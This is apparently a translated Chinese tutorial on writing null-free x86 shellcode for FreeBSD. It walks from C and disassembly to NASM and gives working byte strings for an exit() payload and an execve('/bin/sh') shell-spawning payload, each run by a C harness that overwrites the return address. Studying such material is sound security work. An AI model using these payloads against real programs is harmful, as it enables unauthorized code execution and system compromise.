导语:本教程的目的是帮助你熟悉如何在FreeBSD操作系统上编写shellcode。虽然我会尽力在这里叙述所有有关的内容,但并不打算把本文写成汇编代码编程的入门读物。
介绍
本教程的目的是帮助你熟悉如何在FreeBSD操作系统上编写shellcode。虽然我会尽力在这里叙述所有有关的内容,但并不打算把本文写成汇编代码编程的入门读物。在反汇编中,你会注意到汇编代码采用AT&T语法,而我更喜欢使用Intel语法(无论是哪一种,nasm的工作原理是一样的)。如果你担心这些差异会带来困扰,请使用谷歌搜索并了解这些差异。请注意我只是一个编写shellcod的初学者,本文并不意味着是编写shellcode的全部内容;相反,本文对于全新的shellcoders来说是一个简单的介绍。换句话说,如果你以及编写过shellcode,本文的内容可能不会让你感兴趣。
其中的代码改编自The Shellcoders Handbook中的linux代码示例。
我引用的资源:
· Unix系统编程http://vip.cs.utsa.edu/usp/
· Shellcod编写参考手册http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html
· G. Adam Stanislav的FreeBSD汇编语言程序设计http://www.int80h.org/bsdasm/
所需工具:
· objdump
· NASM(Netwide Assembler)
· GCC
· GDB
在正式开始之前,让我们节省一些时间来获取/usr/src/sys/kern/syscalls.master的副本,这是系统调用及其相关编号的列表。将副本保存在编码目录中可以节省后续的时间,你需要在以root身份登录时打开文件并进行更改,否则可能会发生错误。让我们谨慎一点,复制一份副本。
既然我们已经完成了这一步,接下来我们继续深入,随着内容的深入,我会逐步解释更多的事情。我们要做的第一个shellcode是非常简单的,它用于exit()函数调用。我们首先在C代码中创建exit(),然后我们分析反汇编,以便我们可以将其重写为asm。先编译这个文件:
gcc -o myexit myexit.c /* As easy as it gets */ #include main() { exit(0); // exit with "0" for successful exit }
现在我们已经编译了代码,我们希望使用gdb来查看函数内部。之后我们能够看到计算机自动生成了我们的代码对应的汇编代码。只需按照说明的步骤操作,就能得到下面的结果:
bash$ gdb myexit (gdb) disas main Dump of assembler code for function main: 0x80481d8 : push %ebp 0x80481d9 : mov %esp,%ebp 0x80481db : sub $0x8,%esp 0x80481de : add $0xfffffff4,%esp 0x80481e1 : push $0x0 0x80481e3 : call 0x80498dc 0x80481e8 : add $0x10,%esp 0x80481eb : nop 0x80481ec : leave 0x80481ed : ret End of assembler dump.
让我们一行一行的来分析一下。不要担心任何事情,也不要担心内存地址,因为我的地址很可能和你的不一样。现在继续看看汇编代码,这是本文内容的第一个重要部分。传递给exit()函数的参数只有一个。接下来是退出了实际的调用。这是我们需要搞清楚的两件主要的事情。在我们进入代码之前,让我们检查syscalls.master来获取sysexit()的值,grep这个文件后,我们找到了这行:1 STD NOHIDE {void sys exit(int rval);exit sysexitargs void 。重要的信息是1,它是系统调用号的值和rval(返回值)参数。这表明sys_exit()接受一个参数,我们应该知道返回值是’0’代表这是一个成功的退出。
好的,将它放入汇编代码中。
section .text global _start _start: xor eax, eax push eax push eax mov eax, 1 int 80h
通过上面的代码,在我们进一步深入解释为什么代码会以这种方式有序的完成调用执行前,我会做个简短的说明。在FreeBSD(或NetBSD,OpenBSD)中,系统调用的参数是以相反的顺序被压入堆栈的,实际的系统调用号放入eax寄存器然后中断80 会调用内核来执行我们的代码。
现在继续, 'xor eax,eax’代码,如果eax有任何值的话,就会将eax清零。然后我们'push eax’两次。(我不知道是什么技术原因导致的,但如果零被push堆栈一次,退出调用将返回1,我们不希望这样的返回值,只需将零push两次就行。)现在我们加载eax 调用exit的系统调用值为1.最后我们要做的是用'int 80h’来实际调用内核。
不错!现在我们已经编写了了一些东西了,我们可以从中获得shellcode!我们需要组装然后链接这个文件。
bash$ nasm -f elf myexit.asm bash$ ld -s -o myexit myexit.o
现在它已经组装和链接好了,让我们使用objdump来获取shellcode。
bash$ objdump -d myexit shortexit: file format elf32-i386 /usr/libexec/elf/objdump: shortexit: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b8 01 00 00 00 mov $0x1,%eax 8048089: cd 80 int $0x80
这段代码对某些人来说可能已经很好了,但它对我们来说很糟糕。看看代码中的那些NULL(00),我们不能直接使用这段代码,因为当我们尝试在我们之前编写的C程序中执行代码时就会发生中断。在C语言和其他编程语言中,NULL会终止一个字符串。这意味着如果我们尝试将其加载到C语言数组中,程序就会崩溃。所以我们不能那样做。也许有其他的方法可以处理这段asm代码,我想出的办法如下:
Section .text global _start _start: xor eax, eax push eax push eax inc eax int 80h
这里唯一不同的是'inc eax’,让eax 增加1(记住eax是从零开始的,我们需要返回1(退出系统调用的返回值)),所以在这种情况下它与’mov eax,1'是等价的。
再次,如上一个示例所示组装并链接它,然后使用objdump。
bash$ objdump -d myexit /usr/libexec/elf/objdump: exit_shellcode: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: 40 inc %eax 8048085: cd 80 int $0x80
现在看一下!没有NULL了,这段代码就是很好的shellcode,我们保存一下!那么现在我们有了正确的,没有NULL值的shellcode,现在是时候将它加载到C程序中来执行了。
#include #include /*working shellcode */ char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
就是这样,这段代码看起来真的很漂亮哦!现在进行编译:
bash$ gcc -o shellcode shellcode.c bash$ ./shellcode ; echo $? 0
由于程序退出时我们确实看不到内部的细节,所以我们使用 ‘echo $?'来输出结果。'$?' 是一个bash内置的变量,它保存程序的最后一个退出代码。由于我们在代码中给出了退出的返回值就是’0’,因此,我们的代码起作用了!干得不错,你的耐心和工作终于得到了回报。不过这只是一个开始,你可能不会使用这个代码。
好吧,你可能已经猜到了,退出的shellcode不是很有趣或有用,但它是一个很好的例子,能够很容易的体现编写shellcode的关键点。现在是时候开始介绍一个更常用到的函数的shellcode了,这个函数就是利用execve()来生成一个shell。但是我们还能用execve()做些什么呢?在我们继续开始编写之前,我们应该再次查询一下syscalls.master,以便我们可以确切知道execve()期望传入的参数。因为execve不在文件的最开头,所以我是这样找到函数定义原型的。
bash$ grep -i 'execve' syscalls.master 59 STD POSIX { int execve(char *fname, char **argv, char **envv); }
#include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); }
现在编译,如下面所示,然后启动gdb:
bash$ gdb shell (gdb) disas main Dump of assembler code for function main: 0x80484a0 : push %ebp 0x80484a1 : mov %esp,%ebp 0x80484a3 : sub $0x18,%esp 0x80484a6 : movl $0x8048503,0xfffffff8(%ebp) 0x80484ad : movl $0x0,0xfffffffc(%ebp) 0x80484b4 : add $0xfffffffc,%esp 0x80484b7 : push $0x0 0x80484b9 : lea 0xfffffff8(%ebp),%eax 0x80484bc : push %eax 0x80484bd : mov 0xfffffff8(%ebp),%eax 0x80484c0 : push %eax 0x80484c1 : call 0x8048350 0x80484c6 : add $0x10,%esp 0x80484c9 : leave 0x80484ca : ret 0x80484cb : nop End of assembler dump.
哇,代码有点多!
由于这个代码更长一些,所以我将跳过代码本身,因为当你看到代码然后再解释应该会更清楚。这也是我将代码解释放在代码的注释中的原因。
;不用担心为什么这里会出现这些代码,因为这些是必需的,只能放在这里 section .text global _start _start: ;这行代码是为了可以在堆上获取到 db ‘/bin/sh' 的地址 jmp short _callshell _shellcode: ;这行代码可以将 db ‘/bin/sh' 的地址弹到esi寄存器中 pop esi ;确认eax寄存器中没有值 xor eax, eax ;现在eax的值是NULL,我们可以将一根字节放在'/bin/sh'字符串来作为终止字符 mov byte [esi + 7], al ;在FreeBSD汇编中,我们将所有的参数以相反的顺序放在堆上。将空值的 eax 寄存器push两次因为我们不能使用带参数的execve()。但是这是execve()所需要的 push eax push eax ;execve()需要的最后一个参数(注意这实际上是第一个参数,因为这里的传入顺序是相反的) push esi ;这里是实际调用execve()的系统调用值,我们将它移动到al中。如果我们将这个值传入eax寄存器,那么我们的shellcode会返回一个NULL值,这个做法不是很好。 mov al, 0x3b ;不要问我这里为什么是这样的。因为shellcode需要。 push eax ;内核调用和执行之前我们所做的准备工作。注意这里是一个80h中断 int 0x80 _callshell: ;这行代码返回到了我们的代码的main函数入口。 call _shellcode ;我们实际上想要执行的命令字符串将会传入execve()函数 db '/bin/sh'
现在我们组装该文件:
bash$ nasm -f elf mynewshell.asm bash$ ld -o mynewshell mynewshell.o
然后我们启动objdump:
bash$ objdump -d mynewshell mynewshell: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 0e jmp 8048090 <_callshell> 08048082 <_shellcode>: 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7(%esi) 8048088: 50 push %eax 8048089: 50 push %eax 804808a: 56 push %esi 804808b: b0 3b mov $0x3b,%al 804808d: 50 push %eax 804808e: cd 80 int $0x80 08048090 <_callshell>: 8048090: e8 ed ff ff ff call 8048082 <_shellcode> 8048095: 2f das 8048096: 62 69 6e bound %ebp,0x6e(%ecx) 8048099: 2f das 804809a: 73 68 jae 8048104 <_callshell+0x74>
看看所有那些很“美丽”的shellcode。现在是时候将它格式化为一个有用的格式并放入C程序代码,以便我们可以执行shellcode。
#include #include /*working shellcode */ char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b" "\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
编译并执行:
bash$ gcc -o shell shell.c bash$ ./shell $
shellcode有效!我们制作了一个生成shell的shellcode。这需要一段时间才能实现,虽然这肯定不是你可以用shellcode的做很多事情的结束,至少它让你有信心阅读其他更全面的教程,并开始编写自己的shellcode。